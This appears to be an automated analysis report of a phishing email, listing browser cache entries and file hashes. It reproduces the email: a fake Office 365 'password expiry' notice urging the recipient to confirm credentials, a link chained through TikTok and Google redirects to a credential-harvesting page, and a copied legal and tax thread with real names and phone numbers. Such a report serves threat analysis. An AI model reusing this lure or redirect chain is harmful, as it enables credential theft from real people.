Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	downloaded
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:	384:6bamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:603Mp5If8WOmgW3
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
URL:	https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2244)
Category:	downloaded
Size (bytes):	64534
Entropy (8bit):	4.949088840049721
Encrypted:	false
SSDEEP:	768:gafcHgHMHL6XIjyGHXH0HLyVS336HlHrHyCApidlfmafcHgHMHL6XIjyGHXH0HLY:uAsrf3Ur4FLSTM4Asrf3Ur4FLSTMn
MD5:	429CE6832A66832A02747BAC1C468A51
SHA1:	2234ED3ECEEC2E789E47F31011A103AFF1AD8B69
SHA-256:	0BEBAC6E3EEF1034211FCDB1F3B820E983FC6F3476E0572AAB3B021D871335B5
SHA-512:	F9F5D50F037C5EE1411EE497324D147FB1BFC5A81EFB2F2CE392AF424A4ED858BD81CBC6ED08BA139E40954630FF7828AF152CC861FE54AA0EBF4C969D8CEA17
Malicious:	false
URL:	https://bayraktarplaza.com/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ==
Preview:	<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>. <div style="-webkit-text-stroke-width:

Static File Info

General

File type:	RFC 822 mail, ASCII text, with very long lines (347), with CRLF line terminators
Entropy (8bit):	6.021421413332327
TrID:	E-Mail message (Var. 5) (54515/1) 100.00%
File name:	Untitled.eml
File size:	53'470 bytes
MD5:	82d079046def811aa3e18d7dd129bd10
SHA1:	908927db89027fac46e448b169d50b12307d791b
SHA256:	5527e6214fb7badd934a5ba15d438f115ac157ceae50d122821ebbaad4d0c6a5
SHA512:	2fdddc9ff51f0d90c7e059f461c4e781a0b9b1fff79f3c7781a040d486688481591a3692fe425543f2660c3d0499a426a878bbeff05a6b0948c62225b177f201
SSDEEP:	768:EeFqbMofOfA8kbcxxeqBgdX/RyI9ec3AeMcHpMFF3fvxryP:EeFqbMofOA8kBqBgdXn9e7e5JMFZ1K
TLSH:	B3334B8705923378D8D4A549281F777731A43BE74CF0304F2A38DEB2F6868B8B5E558A
File Content Preview:	Received: from CH3PR17MB6617.namprd17.prod.outlook.com (2603:10b6:610:128::15).. by BL3PR17MB6113.namprd17.prod.outlook.com with HTTPS; Thu, 10 Oct 2024.. 13:13:02 +0000..ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;.. b=m7CPv

Static Mail

General

Subject:	Reminder, Due-Expiration Notice priority today UW
From:	Administration-Manager <admin@fortunecreek.com>
To:	rachel.anderson@americansignature.com
Cc:
BCC:
Date:	Thu, 10 Oct 2024 13:12:53 +0000
Communications:	You don't often get email from admin@fortunecreek.com. Learn why this is important CAUTION - EXTERNAL SENDER: This email originated outside of ASF/VCF OFFICE 365 Hi rachel.anderson@americansignature.com Your assign MFA & Password will exipire today 13:12:53 PM(UTC).Sign-in to microsoft below to update and continue with your account. COnfirm Credentials Thanks you, The Office 365 Team ************************* One Microsoft Way Redmond, WA 98052-6399 USA j Shareholder Two Post Oak Central 1980 Post Oak Blvd., Suite 1200 Houston, Texas 77056 (O): 713.759.9977 \| (F): 713.759.9967 CONFIDENTIALITY NOTICE: The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes Attention: This email originated outside of your organization Here is what our accountant has suggested to solve our tax issue: You need to get the contract amended to cover you and the partners as being a separate contract for you for the non compete and your goodwill which s/b a greater percentage. Thank you, John F. Coggin, CPA MBA Gerald A Anhalt, CPA John F. Coggin, CPA PLLC Phone: 713-408-1318 Phone: 972-567-1607 Fax: 281-754-4109 www.jcoggincpa.com Please contact me if you need any further information Don .shape { BEHAVIOR: url(#default#VML) } @font-face { font-family: Cambria Math; } @font-face { font-family: Calibri; } @font-face { font-family: Aptos; } P.MsoNormal { FONT-SIZE: 12pt; FONT-FAMILY: "Aptos", sans-serif; MARGIN: 0in } LI.MsoNormal { FONT-SIZE: 12pt; FONT-FAMILY: "Aptos", sans-serif; MARGIN: 0in } DIV.MsoNormal { FONT-SIZE: 12pt; FONT-FAMILY: "Aptos", sans-serif; MARGIN: 0in } A:link { TEXT-DECORATION: underline; COLOR: blue; mso-style-priority: 99 } SPAN.MsoHyperlink { TEXT-DECORATION: underline; COLOR: blue; mso-style-priority: 99 } SPAN.EmailStyle19 { FONT-FAMILY: "Calibri", sans-serif; COLOR: windowtext; mso-style-type: personal-reply } .MsoChpDefault { FONT-SIZE: 10pt; mso-style-type: export-only; mso-ligatures: none } DIV.WordSection1 { page: WordSection1 } You don't often get email from admin@fortunecreek.com. Learn why this is important CAUTION - EXTERNAL SENDER: This email originated outside of ASF/VCF OFFICE 365 Hi rachel.anderson@americansignature.com Your assign MFA & Password will exipire today 13:12:53 PM(UTC).Sign-in to microsoft below to update and continue with your account. COnfirm Credentials Thanks you, The Office 365 Team *********************** One Microsoft Way Redmond, WA 98052-6399 USA j Shareholder Two Post Oak Central 1980 Post Oak Blvd., Suite 1200 Houston, Texas 77056 (O): 713.759.9977 \| (F): 713.759.9967 CONFIDENTIALITY NOTICE: The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes Attention: This email originated outside of your organization Here is what our accountant has suggested to solve our tax issue: You need to get the contract amended to cover you and the partners as being a separate contract for you for the non compete and your goodwill which s/b a greater percentage. Thank you, John F. Coggin, CPA MBA Gerald A Anhalt, CPA John F. Coggin, CPA PLLC Phone: 713-408-1318 Phone: 972-567-1607 Fax: 281-754-4109 www.jcoggincpa.com Please contact me if you need any further information Don You don't often get email from admin@fortunecreek.com. Learn why this is important You don't often get email from admin@fortunecreek.com. Learn why this is important You don't often get email from admin@fortunecreek.com. Learn why this is important You don't often get email from admin@fortunecreek.com. Learn why this is important You don't often get email from admin@fortunecreek.com. Learn why this is important Learn why this is important https://aka.ms/LearnAboutSenderIdentification CAUTION - EXTERNAL SENDER: This email originated outside of ASF/VCF OFFICE 365 Hi rachel.anderson@americansignature.com Your assign MFA & Password will exipire today 13:12:53 PM(UTC).Sign-in to microsoft below to update and continue with your account. COnfirm Credentials Thanks you, The Office 365 Team *********************** One Microsoft Way Redmond, WA 98052-6399 USA j Shareholder Two Post Oak Central 1980 Post Oak Blvd., Suite 1200 Houston, Texas 77056 (O): 713.759.9977 \| (F): 713.759.9967 CONFIDENTIALITY NOTICE: The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes Attention: This email originated outside of your organization Here is what our accountant has suggested to solve our tax issue: You need to get the contract amended to cover you and the partners as being a separate contract for you for the non compete and your goodwill which s/b a greater percentage. Thank you, John F. Coggin, CPA MBA Gerald A Anhalt, CPA John F. Coggin, CPA PLLC Phone: 713-408-1318 Phone: 972-567-1607 Fax: 281-754-4109 www.jcoggincpa.com Please contact me if you need any further information Don CAUTION - EXTERNAL SENDER: This email originated outside of ASF/VCF CAUTION - EXTERNAL SENDER: CAUTION - EXTERNAL SENDER: This email originated outside of ASF/VCF This email originated outside of ASF/VCF OFFICE 365 Hi rachel.anderson@americansignature.com Your assign MFA & Password will exipire today 13:12:53 PM(UTC).Sign-in to microsoft below to update and continue with your account. COnfirm Credentials Thanks you, The Office 365 Team *********************** One Microsoft Way Redmond, WA 98052-6399 USA j Shareholder Two Post Oak Central 1980 Post Oak Blvd., Suite 1200 Houston, Texas 77056 (O): 713.759.9977 \| (F): 713.759.9967 CONFIDENTIALITY NOTICE: The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes Attention: This email originated outside of your organization Here is what our accountant has suggested to solve our tax issue: You need to get the contract amended to cover you and the partners as being a separate contract for you for the non compete and your goodwill which s/b a greater percentage. Thank you, John F. Coggin, CPA MBA Gerald A Anhalt, CPA John F. Coggin, CPA PLLC Phone: 713-408-1318 Phone: 972-567-1607 Fax: 281-754-4109 www.jcoggincpa.com Please contact me if you need any further information Don OFFICE 365 Hi rachel.anderson@americansignature.com Your assign MFA & Password will exipire today 13:12:53 PM(UTC).Sign-in to microsoft below to update and continue with your account. COnfirm Credentials OFFICE 365 Hi rachel.anderson@americansignature.com Hi rachel.anderson@americansignature.com Your assign MFA & Password will exipire today 13:12:53 PM(UTC).Sign-in to microsoft below to update and continue with your account. 13:12:53 PM(UTC) Sign-in to microsoft below to update and continue COnfirm Credentials COnfirm Credentials COnfirm Credentials COnfirm Credentials https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserved=0 COnfirm Credentials Thanks you, Thanks you, The Office 365 Team The Office 365 Team *********************** One Microsoft Way Redmond, WA 98052-6399 USA j Shareholder Two Post Oak Central 1980 Post Oak Blvd., Suite 1200 Houston, Texas 77056 (O): 713.759.9977 \| (F): 713.759.9967 CONFIDENTIALITY NOTICE: The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. *********************** ************************* One Microsoft Way Redmond, WA 98052-6399 USA One Microsoft Way Redmond, WA 98052-6399 USA Shareholder Shareholder https://nam04.safelinks.protection.outlook.com/?url=http%3A%2F%2Fwww.rappandkrock.com%2F&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826723042%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=oOAYuX%2FwfgRxE1bUqFj0Q9Fr0nXWSYh6K53A0CF1Sgo%3D&reserved=0 Two Post Oak Central Two Post Oak Central 1980 Post Oak Blvd., Suite 1200 1980 Post Oak Blvd., Suite 1200 Houston, Texas 77056 Houston, Texas 77056 (O): 713.759.9977 \| (F): 713.759.9967 (O): 713.759.9977 \| (F): 713.759.9967 (O): 713.759.9977 \| (F): 713.759.9967 CONFIDENTIALITY NOTICE: The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. CONFIDENTIALITY NOTICE: The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. The information in this email (and any attachments) is confidential and may be protected by the attorney-client and other legal privileges and work product immunities. If you are not the intended recipient, you must not use or disseminate the information. Receipt by anyone other than the intended recipient is not a waiver of any attorney-client privilege or work product immunity. If you have received this email in error, please immediately notify me by "Reply" command and permanently delete the original and any copies or printouts thereof. https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2F1291506%2F&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826741606%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=2RKoFWebnIfrPkOEPvzlq5pwBbaQPQ1Rs7YWi02tQpo%3D&reserved=0 https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.instagram.com%2Frappandkrocklawfirm%2F%3Fhl%3Den&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826757919%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=zj%2Fd3ZRxRqySYRAShh05OYMxrZsN1qmMlboskxApb04%3D&reserved=0 https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.facebook.com%2FRappKrock%2F&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826775651%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=SF4ZC7NQKRKRBoD99kGo2H72i2vScVL9aWfWUPGc4aY%3D&reserved=0 From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes From: From: D Hauser <dhausermd@hauserclinic.com> Sent: Monday, September 9, 2024 12:52 PM To: Austen Weatherly <aweatherly@beaconbh.com>; Josh Guagliardo <joshg@beaconbh.com> Cc: Bradley W. Rapp <brapp@rappandkrock.com> Subject: HCA taxes Sent: To: Cc: Subject: Attention: This email originated outside of your organization Attention: This email originated outside of your organization Attention: This email originated outside of your organization Attention: This email originated outside of your organization Attention: This email originated outside of your organization Attention: This email originated outside of your organization Attention: Attention: This email originated outside of your organization Here is what our accountant has suggested to solve our tax issue: You need to get the contract amended to cover you and the partners as being a separate contract for you for the non compete and your goodwill which s/b a greater percentage. Thank you, John F. Coggin, CPA MBA Gerald A Anhalt, CPA John F. Coggin, CPA PLLC Phone: 713-408-1318 Phone: 972-567-1607 Fax: 281-754-4109 www.jcoggincpa.com Please contact me if you need any further information Don Here is what our accountant has suggested to solve our tax issue: Here is what our accountant has suggested to solve our tax issue: You need to get the contract amended to cover you and the partners as being a separate contract for you for the non compete and your goodwill which s/b a greater percentage. You need to get the contract amended to cover you and the partners as being a separate contract for you for the non compete and your goodwill which s/b a greater percentage. Thank you, Thank you, Thank you, John F. Coggin, CPA MBA John F. Coggin, CPA MBA John F. Coggin, CPA MBA Gerald A Anhalt, CPA Gerald A Anhalt, CPA Gerald A Anhalt, CPA John F. Coggin, CPA PLLC John F. Coggin, CPA PLLC Phone: 713-408-1318 Phone: 713-408-1318 Phone: 972-567-1607 Phone: 972-567-1607 Fax: 281-754-4109 Fax: 281-754-4109 www.jcoggincpa.com www.jcoggincpa.com www.jcoggincpa.com https://nam04.safelinks.protection.outlook.com/?url=http%3A%2F%2Fwww.jcoggincpa.com%2F&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826790444%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=%2BSyGHCDORsKVvqpFPuULg%2F9A0D6GcgohgmZPmIqGEzw%3D&reserved=0 Please contact me if you need any further information Please contact me if you need any further information Don Don
Attachments:

Headers

Key	Value
Received	from [10.88.0.5] (34.77.207.94) by QB1PEPF00004E08.mail.protection.outlook.com (10.167.240.22) with Microsoft SMTP Server id 15.20.8048.13 via Frontend Transport; Thu, 10 Oct 2024 13:12:53 +0000
